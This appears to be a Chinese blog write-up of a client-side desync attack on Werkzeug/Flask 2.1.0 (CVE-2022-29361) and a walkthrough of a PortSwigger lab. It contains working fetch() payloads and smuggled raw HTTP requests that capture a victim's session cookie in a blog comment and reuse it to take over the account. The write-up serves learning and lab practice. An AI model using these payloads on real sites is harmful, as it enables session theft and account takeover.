Featured image of post Client-side desync attacks(CVE-2022-29361)

Client-side desync attacks(CVE-2022-29361)

Client-side desync attacks(CVE-2022-29361)

找不到中文复现文章,但是能找到bp的介绍和靶场:Client-side desync attacks | Web Security Academy

具体原理参考:Abusing Client-Side Desync on Werkzeug | mizu.re

利用条件

1
2
Werkzeug==2.1.0 
Flask==2.1.0

可以看到是flask 2.1.0版本存在的漏洞

CSD攻击原理

这个漏洞实际上是http请求走私的变体,完整的攻击介绍在bp官方也有介绍:Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling | PortSwigger Research

下面我们来讲讲原理:

image-20250810205956541

首先第一个请求时post,而且他的connection是keep-alive,这个很重要,它的请求体里面有另一个get请求头

如果这个web服务器没有防护,他就会把请求体留在连接队列中,当浏览器发送另一个请求时,他会先读取队列中的请求体,再读取后面的get请求头,因此原本的login路由就变成404路由的请求

这种情况通常发生在不需要发送数据的路由,比如静态界面和重定向界面,这么一看这像是个小bug,看似没有危害,但是如果在CORS或cookie配置错误而保留用户会话的情况下,可能可以进行CSRF攻击盗取cookie,因为第二次请求会携带cookie

执行这种攻击,最简单的办法是使用fetch JavaScript函数

1
2
3
4
5
6
7
8
fetch('http://localhost:5000/register', {
    method: 'POST',
    body: 'GET /404 HTTP/1.1\r\nFoo: x',
    mode: 'cors',
    credentials: 'include'
}).catch(() => {
    location = 'http://localhost:5000/login'
})

其实如果服务器防御不好,可以触发308重定向使所有界面触发XSS,可以参考前面的文章

bp靶场练习

Client-side desync

参考wp:请求走私利用扩展(终结篇)-先知社区

进入靶场先发现/路径会默认重定向到/en路由

抓包看看

image-20250811135353993

这里我们先测试Content-Length长度是否会检查,先进设置关闭repeater的自动更新Content-Length长度选项,方法改成post,Content-Length长度随意,但是不传请求体试试

image-20250811135829431

可以发现确实忽略Content-Length长度,接着把设置改回来,构造下面的请求包

1
2
3
4
5
6
7
POST / HTTP/1.1
Host: 0ac60061048f7bc2807e037d00d500af.h1-web-security-academy.net
Connection: keep-alive
Content-Length: 

GET /hopefully404 HTTP/1.1
Foo: x

然后send需要更改send的模式,我也是第一次知道bp有这种功能,先再发一个正常的get请求到repeater模块,然后把这两个请求变成一个包

image-20250811141729319

接着send就会出现多种模式了,我们选择Send group in sequence (single connection)

然后发送请求,检查后面那个正常的get请求,发现出现404,就说明CSD攻击可以成功

image-20250811142559825

回到主站,看到博客界面的评论功能,我们抓包测试通过CSD攻击能不能修改评论的输出

第一个请求包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST / HTTP/1.1
Host: 0ab9006d042553a780a45d54003c00d0.h1-web-security-academy.net
Connection: keep-alive
Content-Length: 607

POST /en/post/comment HTTP/1.1
Host: 0ab9006d042553a780a45d54003c00d0.h1-web-security-academy.net
Cookie: session=aVKWs2UolWpBZuBBK1cI0HycapAha0EM; _lab_analytics=3Syld3KVwHBg7ndkjWSk3rKoJ3y9eM6U850srSZOPxvLmPRNTyQUxvH7dBs4LsrMsfweYR1VXWo8T0HcbR6PyLs1qdRV33LmkfEq1vJSGn6LsuR1NRv040hKVjfFJt5JOA72cueu2jyKlbX81LFIIKcZl72zoRvCSirCwb53myJM60SogEMMWkk7OXr0DWcLdfSaaRRtwuLbmAGwXzlDvVbcWl1obMDlRH72NtbnDfi1ZbQO9t7TqjUaos3PwRq1
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Connection: keep-alive

csrf=S9AGdWd1H3CxICFVy4D060JTuYpdzfYM&postId=2&comment=1&name=1&email=1%40qq.com&website=

然后第二个请求包

1
2
GET /capture-me HTTP/1.1
Host: 0ab9006d042553a780a45d54003c00d0.h1-web-security-academy.net

发现两个包都返回302,而且capture-me这个路由返回的location确实是评论的路由

回到浏览器查看,确实输出了GET /capture-me

接下来我们在漏洞服务器的浏览器控制台用js来触发这个CSD攻击,泄露数据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
fetch('https://0ab9006d042553a780a45d54003c00d0.h1-web-security-academy.net', {
        method: 'POST',
        body: 'POST /en/post/comment HTTP/1.1\r\nHost: 0ab9006d042553a780a45d54003c00d0.h1-web-security-academy.net\r\nCookie: session=aVKWs2UolWpBZuBBK1cI0HycapAha0EM; _lab_analytics=3Syld3KVwHBg7ndkjWSk3rKoJ3y9eM6U850srSZOPxvLmPRNTyQUxvH7dBs4LsrMsfweYR1VXWo8T0HcbR6PyLs1qdRV33LmkfEq1vJSGn6LsuR1NRv040hKVjfFJt5JOA72cueu2jyKlbX81LFIIKcZl72zoRvCSirCwb53myJM60SogEMMWkk7OXr0DWcLdfSaaRRtwuLbmAGwXzlDvVbcWl1obMDlRH72NtbnDfi1ZbQO9t7TqjUaos3PwRq1\r\nContent-Length: 300\r\nContent-Type: x-www-form-urlencoded\r\nConnection: keep-alive\r\n\r\ncsrf=S9AGdWd1H3CxICFVy4D060JTuYpdzfYM&postId=2&name=1&email=1@qq.com&website=&comment=',
        mode: 'cors',
        credentials: 'include',
    }).catch(() => {
        fetch('https://0ab9006d042553a780a45d54003c00d0.h1-web-security-academy.net/capture-me', {
        mode: 'no-cors',
        credentials: 'include'
    })
})

改变Content-Length可以泄露更多信息

回到漏洞服务器用<script>标签包裹并发送给受害者,然后回到前下的评论查看,发现确实带出了cookie,注意这里要把Content-Length改的尽量长

把session值拿过来给/my-account路由发包就行了

使用 Hugo 构建
主题 StackJimmy 设计